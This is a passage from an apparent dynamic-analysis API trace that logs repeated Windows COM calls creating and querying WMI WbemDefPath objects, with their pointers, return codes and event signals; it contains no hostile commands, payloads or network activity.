riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6adf0) returned 0x0 [0156.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6adf0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.433] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6adf0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df1c0) returned 0x0 [0156.433] WbemDefPath:IUnknown:Release (This=0x5f6adf0) returned 0x0 [0156.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df1c0) returned 0x0 [0156.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.433] WbemDefPath:IUnknown:AddRef (This=0x5df1c0) returned 0x3 [0156.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6ae00) returned 0x0 [0156.434] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6ae00, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.434] WbemDefPath:IUnknown:Release (This=0x5f6ae00) returned 0x3 [0156.434] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.434] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.434] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df1c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.434] WbemDefPath:IUnknown:Release (This=0x5df1c0) returned 0x2 [0156.434] WbemDefPath:IUnknown:Release (This=0x5df1c0) returned 0x1 [0156.434] SetEvent (hEvent=0x4d0) returned 1 [0156.536] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6aed0) returned 0x0 [0156.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.536] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6aed0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df230) returned 0x0 [0156.537] WbemDefPath:IUnknown:Release (This=0x5f6aed0) returned 0x0 [0156.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df230) returned 0x0 [0156.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.537] WbemDefPath:IUnknown:AddRef (This=0x5df230) returned 0x3 [0156.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6aee0) returned 0x0 [0156.537] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6aee0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.537] WbemDefPath:IUnknown:Release (This=0x5f6aee0) returned 0x3 [0156.537] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.537] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.537] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x2 [0156.537] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x1 [0156.537] SetEvent (hEvent=0x4d4) returned 1 [0156.539] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6aed0) returned 0x0 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.540] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6aed0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df2a0) returned 0x0 [0156.540] WbemDefPath:IUnknown:Release (This=0x5f6aed0) returned 0x0 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df2a0) returned 0x0 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.540] WbemDefPath:IUnknown:AddRef (This=0x5df2a0) returned 0x3 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6aef0) returned 0x0 [0156.540] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6aef0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.540] WbemDefPath:IUnknown:Release (This=0x5f6aef0) returned 0x3 [0156.540] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.540] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.540] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x2 [0156.540] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x1 [0156.540] SetEvent (hEvent=0x4d8) returned 1 [0156.543] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6aed0) returned 0x0 [0156.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6aed0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.544] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6aed0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df310) returned 0x0 [0156.544] WbemDefPath:IUnknown:Release (This=0x5f6aed0) returned 0x0 [0156.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df310) returned 0x0 [0156.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.544] WbemDefPath:IUnknown:AddRef (This=0x5df310) returned 0x3 [0156.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6af00) returned 0x0 [0156.545] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6af00, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.545] WbemDefPath:IUnknown:Release (This=0x5f6af00) returned 0x3 [0156.545] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.545] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.545] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x2 [0156.545] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x1 [0156.545] SetEvent (hEvent=0x4dc) returned 1 [0156.551] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6af60) returned 0x0 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6af60, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.552] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6af60, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df380) returned 0x0 [0156.552] WbemDefPath:IUnknown:Release (This=0x5f6af60) returned 0x0 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df380) returned 0x0 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.552] WbemDefPath:IUnknown:AddRef (This=0x5df380) returned 0x3 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6af70) returned 0x0 [0156.552] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6af70, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.553] WbemDefPath:IUnknown:Release (This=0x5f6af70) returned 0x3 [0156.553] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.553] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.553] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.553] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x2 [0156.553] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x1 [0156.553] SetEvent (hEvent=0x4e0) returned 1 [0156.555] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6af60) returned 0x0 [0156.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6af60, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.555] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6af60, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df3f0) returned 0x0 [0156.555] WbemDefPath:IUnknown:Release (This=0x5f6af60) returned 0x0 [0156.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df3f0) returned 0x0 [0156.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.556] WbemDefPath:IUnknown:AddRef (This=0x5df3f0) returned 0x3 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6af80) returned 0x0 [0156.556] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6af80, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.556] WbemDefPath:IUnknown:Release (This=0x5f6af80) returned 0x3 [0156.556] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.556] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df3f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.556] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x2 [0156.556] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x1 [0156.556] SetEvent (hEvent=0x4e4) returned 1 [0156.558] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), 